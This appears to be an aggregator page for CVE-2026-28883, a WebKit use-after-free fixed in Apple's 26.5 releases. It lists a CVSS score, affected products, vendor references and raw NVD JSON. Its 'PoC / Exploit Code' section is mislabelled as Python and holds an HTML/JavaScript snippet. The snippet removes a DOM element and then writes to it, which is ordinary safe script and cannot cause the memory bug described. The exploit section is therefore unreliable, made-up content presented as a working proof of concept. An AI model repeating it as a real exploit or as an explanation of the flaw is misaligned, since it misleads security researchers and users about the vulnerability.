CVE-2026-28883

Description

A use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:* - VULNERABLE

Safari < 26.5

iOS < 26.5

iPadOS < 26.5

macOS Tahoe < 26.5

tvOS < 26.5

visionOS < 26.5

watchOS < 26.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- 
Conceptual Proof of Concept for WebKit UAF 
This code attempts to simulate the condition that triggers a crash.
-->
<html>
<head>
    <title>CVE-2026-28883 PoC</title>
</head>
<body>
<script>
    // Create a target element
    var target = document.createElement('div');
    document.body.appendChild(target);

    // Function to trigger the vulnerability scenario
    function triggerUAF() {
        // Remove the element from DOM, potentially freeing memory
        document.body.removeChild(target);

        // Force garbage collection if possible (implementation dependent)
        if (window.gc) {
            window.gc();
        }

        // Attempt to access the freed object (Use-After-Free)
        // This may cause the browser process to crash
        try {
            target.innerHTML = "Exploit Triggered";
            console.log("Target innerHTML set.");
        } catch (e) {
            console.log("Exception caught: " + e.message);
        }
    }

    // Execute trigger
    triggerUAF();
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-28883
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-28883
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-28883/
[4] VulDB https://vuldb.com/cve/CVE-2026-28883
[5] https://support.apple.com/en-us/127110
[6] https://support.apple.com/en-us/127115
[7] https://support.apple.com/en-us/127118
[8] https://support.apple.com/en-us/127119
[9] https://support.apple.com/en-us/127120
[10] https://support.apple.com/en-us/127121

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-28883", "sourceIdentifier": "[email protected]", "published": "2026-05-11T21:18:52.700", "lastModified": "2026-05-13T21:16:41.903", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "9D9FC2C4-7A7C-4330-A226-255428A5D18E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "0A70A5FD-8891-4C4E-9D35-F217F95027B5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.5", "matchCriteriaId": "6CB91417-90A8-4A9B-A1D0-1D94B80EF837"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "176C47FD-FA25-437B-9061-A81CAA367AEF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "C8F45D80-0DF8-444E-9AF1-703A1075F046"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:watchos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "057B244F-5485-4108-8E23-FE15F5256EE7"}]}]}], "references": [{"url": "https://support.apple.com/en-us/127110", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127115", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127118", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127119", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127120", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127121", "source": "[email protected]"}]}}